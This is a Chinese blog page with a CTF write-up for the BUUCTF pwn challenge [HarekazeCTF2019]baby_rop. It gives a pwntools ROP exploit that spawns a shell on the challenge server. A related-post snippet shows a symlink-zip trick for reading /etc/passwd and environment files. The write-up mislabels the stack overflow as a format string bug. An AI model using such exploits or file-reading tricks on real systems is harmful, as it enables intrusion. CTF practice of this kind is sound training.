BUUCTF PWN [HarekazeCTF2019]baby_rop

[CISCN2021 总决赛]babypython 56 [CISCN2021 总决赛]babypython 56 题目解析 阅读详情

1.checksec+运行

64位/NX堆栈不可执行

2.IDA进行中

1.main函数

本题函数倒不是很多

很明显,格式化字符串漏洞

2.system bin/sh

3.offset

 

总体来看64位寄存器传参

 

 3.EXP

from pwn import*
 
p=remote('node4.buuoj.cn',27198)
 
shell=0x601048
system=0x400496
rdi=0x400683
 
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
 
p.sendline(payload)
p.interactive()

 

2021 DASCTF八月挑战赛 babypython[国赛总决赛复现] 看着像是[HCTF 2018]Hide and seek 这题改的,和[CISCN2019 华东南赛区]Web4的加密SECRET_KEY的方式也一样 进去提示要变admin,想到session伪造,直接jwt.io伪造不了,需要SECRET_KEY。上传文件只能为zip ,软链接zip 读取文件。 ln -s /etc/passwd passwd zip --symlinks passwd.zip passwd 读取/proc/self/environ提示bad 阅读详情

相关推荐

BUUCTF pwn [HarekazeCTF2019]baby_rop2

0x01 文件分析   0x02 运行  和babyrop一样。   0x03 IDA  程序流程和babyrop差不多,但是这个里面没有提供可用的gadget,需要自己完成rop。   0x04 思路  没有默认的gadget,需要自己构建,需要利用栈溢出和printf函数泄露libc版本和libc基址,再构建rop。需要注意的是printf函数需要用到的参数,第一个参数需要为格式化字符...

菜的只能随便写写博客 1851

baby python

原题wp参考链接:https://www.cnblogs.com/karsa/p/13529769.html。伪造,直接jwt.io伪造不了,需要SECRET_KEY。ssh连上查文件/app/y0u_found_it/y0u_found_it_main.py。解题思路是软链接zip读取文件,然后伪造admin的session读取flag。所以用软连接读取/sys/class/net/eth0/address。首先下载secrets模块,secrets模块可以提供比较强的随机数。导入secrets模块。

2301_79935671的博客 1059

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

[HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序 利用思路: 程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell 但是程序里没有现成

mcmuyanga的博客 5625

[HarekazeCTF2019]baby_rop

[HarekazeCTF2019]baby_rop WriteUp BUU_PWN

m0sway的博客 708

【原创理论】Stochastic Coupled Dyadic System (SCDS):一个用于两性关系动力学建模的随机耦合系统框架

基于二人爱情耦合系统动力学、稳定性与最优策略的综合性理论的数值模拟与分析

weixin_44695861的博客 1134

[MTK][Android P]如何去掉差分包中的preloader分区

最近碰到一个问题,在进行差分升级的时候,会因为某些原因导致preloader hash值不匹配,升级失败,所以需要在差分升级的时候不升级preloader。 解决的方法,就是在制作AB分区的差分升级包的时候,把目标zip解压出来,把ab_partitions.txt中的分区名去掉,同时把preloader.img去掉 修改如下: Project/build/tools/releasetool...

thonmin的专栏 1434

[HarekazeCTF2019]baby_rop[BUUCTF]

这个时候思路就很清晰了根据64位函数传参的特点构造ROP链就行,32位与64位传参的区别这里就不再赘述,读者可以看上一篇jarvisoj_level2_x64[BUUCTF] ,根据名字可以猜到这道题考的rop同时是64位的程序。用find -name flag查找路径再cat。

moonlightsunshin的博客 667

飞塔防火墙之Link Monitor

Link Monitor类似于SLA,飞塔防火墙线路质量探测的一个功能。

weixin_41903258的博客 2408

buuctf pwn [HarekazeCTF2019]baby_rop2

buuctf pwn [HarekazeCTF2019]baby_rop2 ret2libc 老样子还是先check一下,发现开启了NX,说明我们不能利用ret2shellcode了,将文件放到IDA里面来分析一下 题目中有%s字符的字样,我们就想到了利用格式化字符串来泄露某个函数的真实地址,来找到libc的版本,最后拼接出一个system("/bin/sh")来获取shell,通过上图我们找到了溢出点在read函数,buf距离栈底的高度为0x20 因为这是一个64位的程序,其参数是通过寄存器来传递的,

weixin_45441024的博客 690

计算机组成原理(第三版)唐朔飞-第六章计算机的运算方法-课后习题(1-16)

计算机组成原理(第三版)唐朔飞-第六章计算机的运算方法-课后习题(1-16)

weixin_45735391的博客 8万+

【K210+STM32项目】基于K210与STM32协同工作的智能垃圾分类系统设计与实现(更新3.0版本)(完整工程资料源码)

STM32F407STM32F407_2(含有app功能)

嵌入式技术开发 2491

[PWN] BUUCTF [HarekazeCTF2019]baby_rop2

[PWN] BUUCTF [HarekazeCTF2019]baby_rop2解题分析漏洞利用payload解析payload 解题分析 按照惯例先checksec,发现开了nx和RELRO,又因为题目给了文件libc.so.6,所以猜测要需要构造ROP来布置程序执行路线图 运行程序来观察程序的逻辑,发现需要输入name,然后程序再把输入的name打印出来 64位IDA打开,发现buf缓冲区只有0x20个字节大小,但read却可以往buf缓冲区中写入0x100个字节,所以这里存在着栈溢出 shift+

空城惜梦的博客 688

SPMI总线协议(一)

系统电源管理接口( System Power Management Interface简称SPMI)是一种双线串行接口,用于连接片上系统(SoC)处理器系统的集成电源控制器(PC)与一个或多个电源管理集成电路(PMIC)电压调节系统。SPMI 使系统能够使用单个 SPMI 总线动态调整 SoC 内部电压域的电源和衬底偏置电压。移动设备和其他便携式设计正日益采用系SPMI)协议,实现多主多从系统,根据实时系统需求监测和动态控制供电电压。设计人员可以在系统级实现更低的功率。

qflook的博客 887

[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop 附件 步骤: 例行检查,64位,开启了NX保护 试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错 64位ida载入,shift+f12查看程序里的字符串,看到了system 和 ‘/bin/sh’ 双击跟进,ctrl+x查看一下哪里调用了字符串,没有找到函数,只找到了地址 shell=0x601048 system=0x400496 找到输入点,没有限制v4读入的数据,可以造成溢出,跟pwn16差不

mcmuyanga的博客 836

新能源汽车电池及充电原理详解

本文详细介绍了新能源汽车的电池包结构、铅酸电池充放电原理,以及交流和直流充电的工作原理和优缺点。内容涵盖电池串联并联原因、充电设备如车载充电机、交流充电桩和直流充电桩的介绍,以及不同充电模式的连接方式。通过对充电过程的深入探讨,有助于读者理解新能源汽车的充电技术。

让你爱上电路设计 4525

14、Java 中 TAF 和 FCF 的使用及 Oracle 数据库升级与迁移指南

本文详细介绍了Java中实现高可用性的TAF(透明应用故障转移)和FCF(快速连接故障转移)技术,以及如何将Oracle 9iR2 RAC环境升级到10gR2 RAC,并将数据从OCFS迁移到ASM。通过示例代码和操作步骤,帮助开发者和数据库管理员更好地应对数据库故障和数据迁移问题,提升系统的可用性和性能。

egg99的博客 110

BUUCTF pwn [HarekazeCTF2019]baby_rop

0x01 文件分析   0x02 运行  一组回显   0x03 IDA  程序之中存在system函数,通过搜索字符串,还能得到’/bin/sh’字符串,一个简单的rop。   0x04 思路  简单rop,利用万能的gadget,pop rdi ret传入字符串并调用system,得到shell。此题flag的位置在/home/babyrop内,可以通过find -name flag...

菜的只能随便写写博客 2783

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop

# [BUUCTF-pwn]——[HarekazeCTF2019]baby_rop

Y_peak的博客 560

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

BUUCTF pwn——[HarekazeCTF2019]baby_rop

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 288

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2

[BUUCTF-pwn]——[HarekazeCTF2019]baby_rop2 题目地址:https://buuoj.cn/challenges#[HarekazeCTF2019]baby_rop2 checksec一下,64位,开启NX,应该要用到ROPgadget,先看看 在IDA中 思路 利用printf先leek出来一个地址,这里选用了read的地址。找到libc,计算偏移,最终算出,system函数地址和’/bin/sh’字符串的地址。由于是64位,注意寄存器储存参数。(参数小于等于

Y_peak的博客 411

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop

例行检查,64位,开启NX保护。 运行一下 用IDA打开。shift+f12检索字符串,看到了system和/bin/sh shelladdr=0x601048 systemaddr=0x400496 查看主函数,v4的输入没有长度限制 ,可以造成溢出,由于程序 是64位的,所以传参会用到寄存器 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,后面的依次从 “右向左” 放入栈中。 找到rdi的位置。 rdiaddr=0x

BangSen1的博客 405

buuctf-pwn [HarekazeCTF2019]baby_rop题解(学习过持续更新)

本文记录了一个64位二进制文件的栈溢出漏洞利用过程。通过checksec确认文件开启了NX保护,使用IDA逆向发现存在scanf栈溢出漏洞。由于程序内置system函数和"/bin/sh"字符串,攻击者通过ROP技术构造利用链:填充0x18字节数据覆盖返回地址,利用找到的pop_rdi_ret gadget(0x400683)和system地址,最终获取shell并读取flag。整个过程展示了从漏洞分析到利用的完整流程。

2501_93570847的博客 469

[BUUCTF]PWN [HarekazeCTF2019]baby_rop2

惯例checksec发现开了,但也没开。 打开IDA进行分析 main函数很简洁,也没有内套其他函数。有一个很明显的溢出漏洞,可以通过read函数来把♂栈♂填♂满。那么如果我们把ret地址填写成我们想要的函数,就可以对他进行调用。看看本题题目,名副其实了属于是。 很明显,我们可以使用printf函数泄露libc基址。 printf函数的形式大概像这样:printf(“%s“,Moriarty),其中格式化字符串是第一个参数,放在rdi中,第二个参数放在rsi中。很明显的,我们应该想办法把rdi覆盖成一个.

m0_50819561的博客 298

BUUCTF-PWN-[HarekazeCTF2019]baby_rop

文章目录查看文件信息IDA 分析exp 查看文件信息 checksec 一下 开了个NX保护 IDA 分析 我们扔进IDA64里面 查看反汇编代码 以及 伪代码,给我的感觉就是v4 能溢出 然后连到/bin/sh 利用万能的gadget,pop rdi ret exp from pwn import * elf = ELF('./babyrop') #r = process('babyrop') r = remote('node3.buuoj.cn',28916) system = elf.s

Henlenl的博客 258
上一篇: BUUCTF PWN OGeek2019 babyrop
下一篇: 攻防世界--进阶区--forgot
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值